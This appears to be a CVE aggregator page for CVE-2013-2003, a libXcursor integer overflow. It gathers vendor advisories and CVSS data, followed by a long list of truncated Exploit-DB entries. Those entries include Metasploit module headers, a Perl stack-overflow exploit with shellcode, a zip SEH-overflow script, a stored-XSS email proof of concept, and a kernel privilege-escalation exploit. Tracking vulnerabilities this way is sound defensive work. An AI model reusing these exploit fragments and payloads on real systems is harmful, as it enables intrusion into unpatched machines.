CVE-2013-2003
published 2013-06-15CVE-2013-2003: Integer overflow in X.org libXcursor 1.1.13 and earlier allows X servers to trigger allocation of insufficient memory and a buffer overflow via vectors related…
PriorityP431medium6.8CVSS 2.0
AVNACMAuNCPIPAP
EPSS
2.13%
79.9th percentile
Integer overflow in X.org libXcursor 1.1.13 and earlier allows X servers to trigger allocation of insufficient memory and a buffer overflow via vectors related to the _XcursorFileHeaderCreate function.
Affected
15 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | libxcursor | < libxcursor 1:1.1.13-1+deb7u1 (bookworm) | libxcursor 1:1.1.13-1+deb7u1 (bookworm) |
| juniper | junos_os | — | — |
| juniper | srx_series | — | — |
| x | libxcursor | <= 1.1.13 | — |
| x | libxcursor | — | — |
| x | libxcursor | — | — |
| x | libxcursor | — | — |
| x | libxcursor | — | — |
| x | libxcursor | — | — |
| x | libxcursor | — | — |
| x | libxcursor | — | — |
| x | libxcursor | >= 0 < 1:1.1.13-1+deb7u1 | 1:1.1.13-1+deb7u1 |
| x | libxcursor | >= 0 < 1:1.1.13-1+deb7u1 | 1:1.1.13-1+deb7u1 |
| x | libxcursor | >= 0 < 1:1.1.13-1+deb7u1 | 1:1.1.13-1+deb7u1 |
| x | libxcursor | >= 0 < 1:1.1.13-1+deb7u1 | 1:1.1.13-1+deb7u1 |
CVSS provenance
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv6.8MEDIUM
vendor_debian6.8MEDIUM
vendor_redhat6.8MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-m53r-v9v7-fx9r: Integer overflow in X
ghsa_unreviewed·2022-05-17
CVE-2013-2003 [MEDIUM] GHSA-m53r-v9v7-fx9r: Integer overflow in X
Integer overflow in X.org libXcursor 1.1.13 and earlier allows X servers to trigger allocation of insufficient memory and a buffer overflow via vectors related to the _XcursorFileHeaderCreate function.
OSV
CVE-2013-2003: Integer overflow in X
osv·2013-06-15·CVSS 6.8
CVE-2013-2003 [MEDIUM] CVE-2013-2003: Integer overflow in X
Integer overflow in X.org libXcursor 1.1.13 and earlier allows X servers to trigger allocation of insufficient memory and a buffer overflow via vectors related to the _XcursorFileHeaderCreate function.
Juniper
CVE-2013-4690: Juniper Junos 10.4 before 10.4S13, 11.4 before 11.4R7-S1, 12.1 before 12.1R5-S3, 12.1X44 before 12.1X44-D20, and 12.1X45 before 12.1X45-D10 on the SRX
vendor_juniper·2013-07-11·CVSS 5.0
CVE-2013-4690 [MEDIUM] CWE-399 CVE-2013-4690: Juniper Junos 10.4 before 10.4S13, 11.4 before 11.4R7-S1, 12.1 before 12.1R5-S3, 12.1X44 before 12.1X44-D20, and 12.1X45 before 12.1X45-D10 on the SRX
CVE-2013-4690: Juniper Junos 10.4 before 10.4S13, 11.4 before 11.4R7-S1, 12.1 before 12.1R5-S3, 12.1X44 before 12.1X44-D20, and 12.1X45 before 12.1X45-D10 on the SRX1400, SRX3400, and SRX3600 does not properly initialize memory locations used during padding of Ethernet packets, which allows remote attackers to obtain sensitive information by reading packet data, aka PR 829536, a related issue to CVE-2003-0001.
Ubuntu
libxcursor vulnerability
vendor_ubuntu·2013-06-05
CVE-2013-2003 libxcursor vulnerability
Title: libxcursor vulnerability
Summary: Several security issues were fixed in libxcursor.
Ilja van Sprundel discovered multiple security issues in various X.org
libraries and components. An attacker could use these issues to cause
applications to crash, resulting in a denial of service, or possibly
execute arbitrary code.
Instructions: After a standard system update you need to restart your session to make all
the necessary changes.
Red Hat
libXcursor: Integer overflow leading to heap-based buffer overflow
vendor_redhat·2013-05-23·CVSS 6.8
CVE-2013-2003 [MEDIUM] CWE-190 libXcursor: Integer overflow leading to heap-based buffer overflow
libXcursor: Integer overflow leading to heap-based buffer overflow
Integer overflow in X.org libXcursor 1.1.13 and earlier allows X servers to trigger allocation of insufficient memory and a buffer overflow via vectors related to the _XcursorFileHeaderCreate function.
Statement: This issue affects the libXcursor package in Red Hat Enterprise Linux 5. Red Hat Product Security has rated this issue as having Moderate security impact. This issue is not planned to be fixed in Red Hat Enterprise Linux 5 as it is now in Production 3 Phase of the support and maintenance life cycle: https://access.redhat.com/support/policy/updates/errata/
Package: libXcursor (Red Hat Enterprise Linux 5) - Will not fix
Debian
CVE-2013-2003: libxcursor - Integer overflow in X.org libXcursor 1.1.13 and earlier allows X servers to trig...
vendor_debian·2013·CVSS 6.8
CVE-2013-2003 [MEDIUM] CVE-2013-2003: libxcursor - Integer overflow in X.org libXcursor 1.1.13 and earlier allows X servers to trig...
Integer overflow in X.org libXcursor 1.1.13 and earlier allows X servers to trigger allocation of insufficient memory and a buffer overflow via vectors related to the _XcursorFileHeaderCreate function.
Scope: local
bookworm: resolved (fixed in 1:1.1.13-1+deb7u1)
bullseye: resolved (fixed in 1:1.1.13-1+deb7u1)
forky: resolved (fixed in 1:1.1.13-1+deb7u1)
sid: resolved (fixed in 1:1.1.13-1+deb7u1)
trixie: resolved (fixed in 1:1.1.13-1+deb7u1)
No detection rules found.
Exploit-DB
EMC AlphaStor Library Manager < 4.0 build 910 - Opcode 0x4f Buffer Overflow (Metasploit)
exploitdb·2017-09-14
CVE-2013-0946 EMC AlphaStor Library Manager < 4.0 build 910 - Opcode 0x4f Buffer Overflow (Metasploit)
EMC AlphaStor Library Manager 'EMC AlphaStor Library Manager Opcode 0x4f',
'Description' => %q{
This module exploits a stack based buffer overflow found in EMC
Alphastor Library Manager version [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-029/' ],
[ 'CVE', '2013-0946' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'wfsdelay' => 1000
},
'Privileged' => true,
'Payload' =>
{
'Space' => 160,
'DisableNops' => 'true',
'BadChars' => "\x00\x09\x0a\x0d",
'StackAdjustment' => -404,
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'Compat' =>
{
'SymbolLookup' => 'ws2ord',
},
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows Server 2003 SP2 EN',
{
# msvcrt.dll
# add esp, 0c/ retn
'Ret' => 0x77bdda70,
}
],
Exploit-DB
EMC CMCNE 11.2.1 - FileUploadController Remote Code Execution (Metasploit)
exploitdb·2017-09-13
CVE-2013-6810 EMC CMCNE 11.2.1 - FileUploadController Remote Code Execution (Metasploit)
EMC CMCNE 11.2.1 - FileUploadController Remote Code Execution (Metasploit)
---
require 'msf/core'
class MetasploitModule 'EMC CMCNE FileUploadController Remote Code Execution',
'Description' => %q{
This module exploits a fileupload vulnerability found in EMC
Connectrix Manager Converged Network Edition MSF_LICENSE,
'Author' => [ 'james fitts' ],
'References' =>
[
[ 'ZDI', '13-279' ],
[ 'CVE', '2013-6810' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 18 2013'))
register_options([
Opt::RPORT(80)
], self.class)
end
def exploit
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
deploy = "..\\..\\..\\deploy\\dcm-client.war\\"
jsp = payload.encode
Exploit-DB
EMC CMCNE Inmservlets.war FileUploadController 11.2.1 - Remote Code Execution (Metasploit)
exploitdb·2017-09-13
CVE-2013-6810 EMC CMCNE Inmservlets.war FileUploadController 11.2.1 - Remote Code Execution (Metasploit)
EMC CMCNE Inmservlets.war FileUploadController 11.2.1 - Remote Code Execution (Metasploit)
---
require 'msf/core'
class MetasploitModule 'EMC CMCNE Inmservlets.war FileUploadController Remote Code Execution',
'Description' => %q{
This module exploits a file upload vulnerability found in EMC
Connectrix Manager Converged Network Edition [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'ZDI', '13-280' ],
[ 'CVE', '2013-6810' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 18 2013'))
register_options([
Opt::RPORT(80)
], self.class)
end
def exploit
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
deploy = "..\\..\\..\\deploy\\dcm-
Exploit-DB
Microsoft Excel 2007/2010/2013 - BIFFRecord Use-After-Free
exploitdb·2015-09-16
CVE-2015-2523 Microsoft Excel 2007/2010/2013 - BIFFRecord Use-After-Free
Microsoft Excel 2007/2010/2013 - BIFFRecord Use-After-Free
---
Source: https://code.google.com/p/google-security-research/issues/detail?id=462
The following crash was observed in Microsoft Excel 2007 running on Windows 2003 R2. This crash was also reproduced in Microsoft Excel 2010 on Windows 7 x86 and Microsoft Excel 2013 on Windows 8.1 x86. The test environment was Excel 2007 on Windows 2003 R2 with application verifier basic checks enabled.
Attached files:
Original File: 683709058_orig.xls
Crashing File: 683709058_crash.xls
Minimized Crashing File: 683709058_min.xls
The minimized crashing file shows two deltas from the original. The first at offset 0x237 is in the data of the 4th BIFFRecord and the second delta at offset 0x34a5 is in the type field of a BIFFRecord.
File versions:
Exploit-DB
Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002)
exploitdb·2015-08-07
CVE-2013-5065 Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002)
Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002)
---
/*
################################################################
# Exploit Title: Windows NDProxy Privilege Escalation (MS14-002)
# Date: 2015-08-03
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
# Windows XP SP3 x86
# Windows XP SP2 x86-64
# Windows 2003 SP2 x86
# Windows 2003 SP2 x86-64
# Windows 2003 SP2 IA-64
# Supported vulnerable software:
# Windows XP SP3 x86
# Windows 2003 SP2 x86
# Tested on:
# Windows XP SP3 x86 EN
# Windows 2003 SP2 x86 EN
# CVE ID: 2013-5065
################################################################
# Vulnerability description:
# NDPROXY is a system-provided driver that interfaces WAN
# miniport drivers, call managers, and miniport call m
Exploit-DB
Elipse E3 - HTTP Denial of Service
exploitdb·2014-11-26·CVSS 5.0
CVE-2014-8652 [MEDIUM] Elipse E3 - HTTP Denial of Service
Elipse E3 - HTTP Denial of Service
---
// Exploit Http DoS Request for SCADA ATTACK Elipse 3
// Mauro Risonho de Paula Assumpção aka firebits
// [email protected]
// 29-10-2013 11:42
// Vendor Homepage: http://www.elipse.com.br/port/index.aspx
// Software Link: http://www.elipse.com.br/port/e3.aspx
// Version: 3.x and prior
// Tested on: windows
// CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8652
// NVD : https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8652
// Hard lock Dll crash in Windows 2003 SP2 + 20 requests connections
// exploit in Golang (golang.com) C Google
// compile and execute:
// go build Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// chmod +x Exploit-Http-DoS-Request-for-SCADA-ATTACK-Elipse3-PoC.go
// ./Exploit-Http-DoS-Request
Exploit-DB
Microsoft Exchange - IIS HTTP Internal IP Address Disclosure (Metasploit)
exploitdb·2014-09-29
Microsoft Exchange - IIS HTTP Internal IP Address Disclosure (Metasploit)
Microsoft Exchange - IIS HTTP Internal IP Address Disclosure (Metasploit)
---
# Exploit Title: Microsoft Exchange IIS HTTP Internal IP Disclosure Vulnerability
# Google Dork: NA
# Date: 08/01/2014
# Exploit Author: Nate Power
# Vendor Homepage: microsoft.com
# Software Link: NA
# Version: Exchange OWA 2003, Exchange CAS 2007/2010/2013
# Tested on: Exchange OWA 2003, Exchange CAS 2007/2010/2013
# CVE : NA
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
'Description' => %q{
This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 201
Exploit-DB
EMC AlphaStor Device Manager Opcode 0x75 - Command Injection (Metasploit)
exploitdb·2014-09-24
CVE-2013-0928 EMC AlphaStor Device Manager Opcode 0x75 - Command Injection (Metasploit)
EMC AlphaStor Device Manager Opcode 0x75 - Command Injection (Metasploit)
---
require 'msf/core'
class Metasploit3 'EMC AlphaStor Device Manager Opcode 0x75 Command Injection',
'Description' => %q{
This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75
command, the process does not properly filter user supplied input allowing for arbitrary
command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116
with Windows 2003 SP2 and Windows 2008 R2.
},
'Author' =>
[
'Anyway ', # Vulnerability Discovery
'Preston Thornburn ', # msf module
'Mohsan Farid ', # msf module
'Brent Morris ', # msf module
'juan vazquez' # convert aux module into exploit
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-0928'],
['ZDI', '13-033']
]
Exploit-DB
McAfee ePolicy Orchestrator 4.6.0 < 4.6.5 - 'ePowner' Multiple Vulnerabilities
exploitdb·2014-04-28·CVSS 7.9
CVE-2013-0140 [HIGH] McAfee ePolicy Orchestrator 4.6.0 < 4.6.5 - 'ePowner' Multiple Vulnerabilities
McAfee ePolicy Orchestrator 4.6.0 4.6.5
# Tested on: Windows 2003/2008
# CVE : CVE-2013-0140 , CVE-2013-0141
# More info on: http://funoverip.net/?p=1685 & https://github.com/funoverip/epowner
PoC:
v0.2.1- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33071-2.tar.gz (epowner-0.2.1.zip)
INTRODUCTION
- In short, this tool registers a rogue agent on the ePo server and then takes advantage of the
following vulnerabilities to perform multiple actions :
- CVE-2013-0140 : Pre-auth SQL Injection
- CVE-2013-0141 : Pre-auth Directory Path Traversal
- The tool manages the following actions, called "mode" :
-r, --register Register a new agent on the ePo server (it's free)
--check Check the SQL Injection vunerability
--add-admin Add a new web admin account into
Exploit-DB
Symantec Endpoint Protection Manager 12.1.x - Overflow (SEH) (PoC)
exploitdb·2014-04-27·CVSS 7.9
CVE-2013-1612 [HIGH] Symantec Endpoint Protection Manager 12.1.x - Overflow (SEH) (PoC)
Symantec Endpoint Protection Manager 12.1.x - Overflow (SEH) (PoC)
---
# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33056-sepm-secars-poc-v0.3.tar.gz
#!/usr/bin/perl -w
# Exploit Title: Symantec Endpoint Protection Manager 12.1.x - SEH Overflow POC
# Date: 31 January 2013
# Exploit Author: [email protected] (a.k.a. [email protected])
# Vendor Homepage: http://http://www.symantec.com/en/uk/endpoint-protection
# Version: 12.1.0 -> 12.1.2
# Tested on: Windows 2003 Enterprise Edition SP2
# CVE : CVE-2013-1612
# More info on: http://funoverip.net/?p=1693
#
#=====================================================================================
#
# This POC code overwrite EIP with "CCCCCCCC"
#
# About KCS Key: That key is used to ob
Exploit-DB
HP Data Protector - Backup Client Service Remote Code Execution (Metasploit)
exploitdb·2014-03-10
CVE-2013-2347 HP Data Protector - Backup Client Service Remote Code Execution (Metasploit)
HP Data Protector - Backup Client Service Remote Code Execution (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 'HP Data Protector Backup Client Service Remote Code Execution',
'Description' => %q{
This module abuses the Backup Client Service (OmniInet.exe) to achieve remote code
execution. The vulnerability exists in the EXEC_BAR operation, which allows to
execute arbitrary processes. This module has been tested successfully on HP Data
Protector 6.20 on Windows 2003 SP2 and Windows 2008 R2.
},
'Author' =>
[
'Aniway.Anyway ', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2347' ],
[ 'BID', '6464
Exploit-DB
Symantec Endpoint Protection Manager 11.0/12.0/12.1 - Remote Command Execution
exploitdb·2014-02-23·CVSS 7.5
CVE-2013-5015 [HIGH] Symantec Endpoint Protection Manager 11.0/12.0/12.1 - Remote Command Execution
Symantec Endpoint Protection Manager 11.0/12.0/12.1 - Remote Command Execution
---
import argparse
import httplib
"""
Exploit Title: Symantec Endpoint Protection Manager Remote Command Execution
Exploit Author: Chris Graham @cgrahamseven
CVE: CVE-2013-5014, CVE-2013-5015
Date: February 22, 2014
Vendor Homepage: http://www.symantec.com/endpoint-protection
Version: 11.0, 12.0, 12.1
Tested On: Windows Server 2003, default SEPM install using embedded database
References: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140213_00
Details:
First off, this wa
Exploit-DB
HP Data Protector - 'EXEC_BAR' Remote Command Execution
exploitdb·2014-02-16·CVSS 10.0
CVE-2013-2347 [CRITICAL] HP Data Protector - 'EXEC_BAR' Remote Command Execution
HP Data Protector - 'EXEC_BAR' Remote Command Execution
---
import argparse
import socket
"""
Exploit Title: HP Data Protector EXEC_BAR Remote Command Execution
Exploit Author: Chris Graham @cgrahamseven
CVE: CVE-2013-2347
Date: February 14, 2014
Vendor Homepage: www.hp.com
Version: 6.10, 6.11, 6.20
Tested On: Windows Server 2003, Windows Server 2008 R2
References:
https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422
http://www.zerodayinitiative.com/advisories/ZDI-14-008/
Details:
The omniinet service, which runs by default on port 5555, is susceptible
to numerous remotely exploitable vulnerabilities. By sending a malicious
EXEC_BAR packet (opcode 11), a remote attacker can force the omniinet
service to run an arbitrary command. On Windows, the omnii
Exploit-DB
HP Data Protector - Backup Client Service Directory Traversal (Metasploit)
exploitdb·2014-01-24
CVE-2013-6194 HP Data Protector - Backup Client Service Directory Traversal (Metasploit)
HP Data Protector - Backup Client Service Directory Traversal (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 'HP Data Protector Backup Client Service Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability in the Hewlett-Packard Data
Protector product. The vulnerability exists at the Backup Client Service (OmniInet.exe)
when parsing packets with opcode 42. This module has been tested successfully on HP Data
Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.
},
'Author' =>
[
'Brian Gorenc', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6194' ],
[
Exploit-DB
vTiger CRM 5.4.0 SOAP - AddEmailAttachment Arbitrary File Upload (Metasploit)
exploitdb·2014-01-07
CVE-2013-3214 vTiger CRM 5.4.0 SOAP - AddEmailAttachment Arbitrary File Upload (Metasploit)
vTiger CRM 5.4.0 SOAP - AddEmailAttachment Arbitrary File Upload (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit3 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload',
'Description' => %q{
vTiger CRM allows an user to bypass authentication when requesting SOAP services.
In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
service. By combining both vulnerabilities an attacker can upload and execute PHP
code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
10.04 and Windows 2003 SP2.
},
'Author' =>
[
'Egidio Romano', # Vulnerability discovery
'juan vazquez' # msf
Exploit-DB
Microsoft Windows - 'ndproxy.sys' Local Privilege Escalation (Metasploit)
exploitdb·2013-12-17
CVE-2013-5065 Microsoft Windows - 'ndproxy.sys' Local Privilege Escalation (Metasploit)
Microsoft Windows - 'ndproxy.sys' Local Privilege Escalation (Metasploit)
---
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 'Microsoft Windows ndproxy.sys Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
to access an array unsafely, and the value is used to perform a call, leading to a NULL
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
module
Exploit-DB
Ability Mail Server 2013 3.1.1 - Web UI Persistent Cross-Site Scripting
exploitdb·2013-12-17·CVSS 4.3
CVE-2013-6162 [MEDIUM] Ability Mail Server 2013 3.1.1 - Web UI Persistent Cross-Site Scripting
Ability Mail Server 2013 3.1.1 - Web UI Persistent Cross-Site Scripting
---
#!/usr/bin/env python
'''
Exploit Title: Ability Mail Server 2013 Stored XSS
Date: 12/20/2013
Exploit Author: David Um
Vendor Homepage: http://www.code-crafters.com/
Software Link: http://download.code-crafters.com/ams.exe
Version: 3.1.1
Tested on: Windows Server 2003 SP2
CVE : CVE-2013-6162
Description: This proof of concept demonstrates a stored XSS vulnerability in e-mail clients when JavaScript is inserted into the body of an e-mail.
'''
import smtplib
email_addr = '[email protected]'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += 'alert("XSS")'
s = smtplib.SMTP('192.168.58.140', 25)
s.login(email_addr, "user")
s.
Exploit-DB
VMware Hyperic HQ Groovy Script-Console - Java Execution (Metasploit)
exploitdb·2013-10-14
CVE-2013-6366 VMware Hyperic HQ Groovy Script-Console - Java Execution (Metasploit)
VMware Hyperic HQ Groovy Script-Console - Java Execution (Metasploit)
---
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'VMware Hyperic HQ Groovy Script-Console Java Execution',
'Description' => %q{
This module uses the VMware Hyperic HQ Groovy script console to execute
OS commands using Java. Valid credentials for an application administrator
user account are required. This module has been tested successfully with
Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems.
},
'Author' =>
[
'Brendan Coles ' # Metasploit
],
'License' => MSF_
Exploit-DB
Microsoft Windows Theme File Handling - Arbitrary Code Execution (MS13-071) (Metasploit)
exploitdb·2013-09-23
CVE-2013-0810 Microsoft Windows Theme File Handling - Arbitrary Code Execution (MS13-071) (Metasploit)
Microsoft Windows Theme File Handling - Arbitrary Code Execution (MS13-071) (Metasploit)
---
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution",
'Description' => %q{
This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows
2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]
section. An arbitrary path can be used as screen saver, including a remote SMB resource,
which allows for remote code execution when a malic
Exploit-DB
Microsoft DirectShow - Arbitrary Memory Overwrite (MS13-056)
exploitdb·2013-07-23
CVE-2013-3174 Microsoft DirectShow - Arbitrary Memory Overwrite (MS13-056)
Microsoft DirectShow - Arbitrary Memory Overwrite (MS13-056)
---
Introduction:
The Microsoft DirectShow application programming interface (API) is a media-streaming architecture for Microsoft Windows. Using DirectShow, your applications can perform high-quality video and audio playback or capture.
Overview:
DirectShow in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, and Windows Server 2012 allows remote attackers to execute arbitrary code via a crafted GIF file, aka "DirectShow Arbitrary Memory Overwrite Vulnerability."
Disclosure Timeline
2013-03-20 - Vulnerability reported to vendor
2013-07-09 - Coordinated public release of advisory
Details:
Microsoft's DirectShow API is vulnerable to
Exploit-DB
BlazeDVD Pro Player 6.1 - Direct RET Local Stack Buffer Overflow
exploitdb·2013-07-16
CVE-2006-6199 BlazeDVD Pro Player 6.1 - Direct RET Local Stack Buffer Overflow
BlazeDVD Pro Player 6.1 - Direct RET Local Stack Buffer Overflow
---
#!/usr/bin/perl
# BlazeDVD Pro player 6.1 Local stack based buffer overflow
# Author: PuN1sh3r
# Email: [email protected]
# Date: Mon Jul 15 03:01:37 EDT 2013
# Vendor link: http://www.blazevideo.com/download.htmm
# Software Link: http://www.blazevideo.com/download.php?product=BlazeDVDPro
# App Version: 6.1
# Tested on: Windows 2003 server sp1(EN)
# special thanks to corelanc0d3r for his amazing tutorials
$file = "blazeExpl.plf";
$junk = "\x41" x 260;
$eip = "\x33\xFE\xE4\x77"; #jmp ESP on kernel32.dll
#msf win/exec calc.exe [*] x86/alpha_mixed
$shellcode = "\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x
Exploit-DB
Microsoft Windows - 'EPATHOBJ::pprFlattenRec' Local Privilege Escalation (Metasploit)
exploitdb·2013-07-02
CVE-2013-3661 Microsoft Windows - 'EPATHOBJ::pprFlattenRec' Local Privilege Escalation (Metasploit)
Microsoft Windows - 'EPATHOBJ::pprFlattenRec' Local Privilege Escalation (Metasploit)
---
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
class Metasploit3 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
of uninitialized data which allows to corrupt memory. At the moment, the module has
been tested successfully on Windows XP SP3, Windows 2003 SP1, a
Exploit-DB
GLPI 0.83.8 - Multiple Vulnerabilities
exploitdb·2013-06-21
CVE-2013-2227 GLPI 0.83.8 - Multiple Vulnerabilities
GLPI 0.83.8 - Multiple Vulnerabilities
---
GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities
Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7 and 0.83.8
Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.
Desc: Input passed via the POST parameter 'users_id_assign' in
'/ajax/ticketassigninformation.php' script, POST parameter 'filename'
in '/front/document.form.php' script, and POST parameter 'table' in
'glpi/ajax/comments.php' sc
Exploit-DB
Microsoft Windows NT/2000/2003/2008/XP/Vista/7/8 - 'EPATHOBJ' Local Ring
exploitdb·2013-06-03
CVE-2013-3661 Microsoft Windows NT/2000/2003/2008/XP/Vista/7/8 - 'EPATHOBJ' Local Ring
Microsoft Windows NT/2000/2003/2008/XP/Vista/7/8 - 'EPATHOBJ' Local Ring
---
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include
#include
#include
#include
#include
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#pragma comment(lib, "shell32")
#pragma comment(linker, "/SECTION:.text,ERW")
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
// ----------------------------------------- taviso () cmpxchg8b com -----
//
// INTRODUCTION
//
// There's a pretty ob
Exploit-DB
FuzeZip 1.0.0.131625 - Local Buffer Overflow (SEH)
exploitdb·2013-05-01
CVE-2013-5656 FuzeZip 1.0.0.131625 - Local Buffer Overflow (SEH)
FuzeZip 1.0.0.131625 - Local Buffer Overflow (SEH)
---
#!/usr/bin/python
# Exploit Title: SEH BUFFER OVERFLOW IN FUZEZIP V.1.0
# Date: 16.Apr.2013 Vulnerability reported
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting
# Vendor Homepage: http://fuzezip.com/
# Software Link: http://download.fuzezip.com/FuzeZipSetup.exe
# Version: 1.0.0.131625
# Tested on: Windows 2003 Server Standard SP2
# Exploit-DB note: Needs tweaking tho ...
header1 = (
"\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E"
"\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00"
)
#0x003F 335C
seh = "\x9a\x9f"
nextsh = "\x58\x70"
header_m = "\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\
Exploit-DB
Vanilla Forums 2-0-18-4 - SQL Injection
exploitdb·2013-04-08
CVE-2013-3527 Vanilla Forums 2-0-18-4 - SQL Injection
Vanilla Forums 2-0-18-4 - SQL Injection
---
# Exploit Title: Vanilla Forums - SQL-Injection - Insert arbitrary user & dump usertable
# Date: 04/05/2013
